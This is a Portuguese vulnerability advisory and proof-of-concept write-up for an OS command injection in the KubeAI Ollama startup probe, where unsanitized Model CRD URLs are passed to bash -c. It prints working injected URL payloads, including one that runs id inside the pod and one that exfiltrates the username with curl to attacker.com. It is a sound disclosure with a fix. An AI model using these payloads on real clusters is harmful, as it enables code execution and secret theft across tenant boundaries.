
Prova de conceito para injeção de comando do SO na sonda de inicialização do Ollama do KubeAI, demonstrando execução de código arbitrário em pods de modelo do Kubernetes por meio de URLs de CRD Model manipuladas.
Severidade: Alta (CVSS 8.7)
CWE: CWE-78 — Neutralização Incorreta de Elementos Especiais usados em um Comando de SO
Afetado: github.com/kubeai-project/kubeai <= 0.23.1
Corrigido em: 0.23.2
Aviso: GHSA-324q-cwx9-7crr
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
Crédito: Romain Deperne
O KubeAI constrói um script de shell para a sonda de inicialização do Kubernetes interpolando componentes da URL do CRD Model (ref, modelParam) em um comando bash -c via fmt.Sprintf em Go. Metacaracteres de shell na URL não são sanitizados, dando a qualquer usuário com permissões RBAC de criação/atualização do CRD Model execução arbitrária de comandos dentro dos pods do servidor de modelo — sem privilégios de cluster-admin.
Eu estava analisando operadores de inferência de IA para Kubernetes — ferramentas que permitem implantar LLMs como cargas de trabalho no K8s por meio da criação de CRDs. O KubeAI suporta Ollama, vLLM e outros motores. Minha hipótese era: se um usuário pode criar CRDs Model, ele pode influenciar o que é executado dentro dos pods de modelo?
O código do motor vLLM imediatamente mostrou o padrão correto: argumentos passados como um array de strings para exec, sem envolvimento de shell. Então olhei para o motor Ollama em busca de contraste — e encontrei fmt.Sprintf("%s %s", pullCmd, u.ref) alimentando um bash -c. Configuração clássica de injeção de shell.
O regex do parser de URL [^?]+ (tudo exceto ?) é o que sela o problema: ponto e vírgula, crases e $() são todos válidos em u.ref. Escrevi o YAML do PoC, apliquei-o e observei id > /tmp/pwned ser executado dentro do pod de modelo.
A nuance que eleva a gravidade disto: em clusters K8s multi-inquilino, o RBAC do CRD Model é frequentemente concedido a equipes que explicitamente não são cluster-admins. Isso dá a um inquilino com privilégios restritos um caminho direto para execução arbitrária de código nos pods de modelo — incluindo acesso a secrets montados e tokens de service account. Isso atravessa uma fronteira de privilégios que o RBAC do K8s deveria impor.
Arquivo: internal/modelcontroller/engine_ollama.go, linhas 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref and u.modelParam come from the Model CRD URL field — user controlled
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: no sanitization
)
// ...
}
Esta string é então executada como:
Command: []string{"bash", "-c", startupProbeScript}
Analisador de URL (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Capture group 2 ([^?]+) allows any character except '?'
// Shell metacharacters ; | $() ` are all valid
Contraste com o motor vLLM (seguro):
// engine_vllm.go — args passed as array, no shell involved
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
O motor Ollama usa um atalho: ele constrói um pipeline de shell de várias etapas como uma string e o passa para bash -c. O motor vLLM usa arrays de argumentos no estilo exec. Nenhum webhook de admissão ou validação de schema de CRD restringe o campo URL a caracteres seguros.
Veja poc.yaml — aplique com kubectl apply -f poc.yaml em um cluster executando o KubeAI com modelos Ollama.
Vetor 1 — referência de URL ollama:// (injeção por ponto e vírgula):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
Sonda de inicialização gerada:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
O comando id>/tmp/pwned é executado e grava uid=0(root)... em /tmp/pwned dentro do pod.
Vetor 2 — parâmetro de consulta ?model= (exfiltração OOB):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
Sonda gerada:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
Exfiltra o nome de usuário do pod para um servidor controlado pelo atacante.
Model CRDSubstitua bash -c <string> por uma probe no estilo exec passando argumentos como um array (como o engine do vLLM já faz), ou valide os campos de URL contra ^[a-zA-Z0-9._:/-]+$ antes da interpolação.